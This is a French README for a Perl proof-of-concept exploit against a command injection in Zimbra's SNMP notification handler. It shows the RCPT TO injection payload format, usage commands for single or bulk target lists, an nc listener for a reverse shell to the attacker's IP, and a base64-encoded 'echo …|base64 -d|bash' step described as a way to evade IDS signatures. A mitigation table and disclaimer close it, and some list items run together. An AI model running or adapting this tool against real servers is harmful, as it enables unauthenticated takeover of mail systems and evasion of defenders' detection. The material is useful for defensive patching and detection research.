
Zimbra SNMP Notification OS Command Injection — RCE non authentifié via l'exploit SMTP (Poc)
Exécution de code à distance non authentifiée via injection de commandes OS dans le gestionnaire de notifications SNMP de Zimbra Collaboration Suite.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 ÉLEVÉ — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS |
| Affecté | Zimbra ZCS < 10.1.20 (avec zimbra-snmp installé) |
| Corrigé dans | ZCS 10.1.20 — juillet 2026 |
| CISA KEV | Ajouté le 2026-08-21 (date limite de remédiation FCEB : 2026-08-24) |
| Authentification requise | Aucune |
| Exécution en tant que | utilisateur OS zimbra |
Le paquet optionnel zimbra-snmp fournit une règle swatchdog qui surveille /var/log/zimbra.log à la recherche de lignes correspondant à :
Service status change: <NAME> changed from <STATE> to <STATE>
Lorsqu'une correspondance est trouvée, swatchdog transmet le champ <NAME> capturé directement au script shell de notification SNMP sans aucune désinfection.
Un attaquant non authentifié peut injecter une entrée de journal forgée en envoyant une commande SMTP RCPT TO spécialement formée. À l'aide d'une partie locale entre guillemets conforme à la RFC 5321, des métacaractères shell — par exemple $(...) — sont intégrés dans <NAME> et s'exécutent lorsque swatchdog traite la ligne de journal résultante.
Les trois conditions suivantes doivent être réunies sur la cible pour que la vulnérabilité soit exploitable :
zimbra-snmp est installésnmp_notify = true)swatchdog est en cours d'exécutionAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO weaponisé.swatchdog correspond au motif du journal et extrait le $(CMD) injecté.CMD en tant qu'utilisateur OS zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
ou via apt-get
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
ou via yum
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — un hôte par ligne, :port facultatif, les lignes commençant par # sont ignorées :
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| Flag | Long | Default | Description |
|---|---|---|---|
-H | --host | — | Nom d'hôte ou IP cible unique |
-f | --file | — | Fichier contenant la liste des cibles |
-p | --port | 587 | Port SMTP par défaut |
-r | --rhost | — | Votre IP pour le rappel du reverse shell |
-R | --rport | 4444 | Port d'écoute |
-t | --timeout | 15 | Délai d'expiration du socket en secondes |
-S | --ssl | off | TLS direct (activé automatiquement sur le port 465) |
-v | --verbose | off | Afficher le dialogue SMTP complet |
-L | --logfile | — | Écrire le journal de session dans un fichier |
-h | --help | — | Afficher l'aide |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
La commande de reverse shell est encodée en base64 avant l'injection :
echo <b64>|base64 -d|bash
Cela empêche les IDS/IPS de faire correspondre des signatures en clair telles que /dev/tcp, bash -i ou nc -e. Le blob encodé est injecté sous la forme $(...) à l'intérieur de la partie locale entre guillemets de RCPT TO, déclenchant l'exécution côté serveur lorsque swatchdog traite l'entrée de journal.
| Action | Détail |
|---|---|
| Correctif | Mettre à niveau vers Zimbra ZCS ≥ 10.1.20 |
| Désactiver la notification SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Supprimer le paquet | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Contrôles réseau | Restreindre le SMTP entrant (25/465/587) aux relais de confiance lorsque cela est opérationnellement faisable |
Cette preuve de concept est publiée uniquement à des fins de tests de sécurité autorisés, de recherche académique et de défense.
L'exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test est illégal.
L'auteur décline toute responsabilité pour tout usage abusif ou dommage causé par cet outil.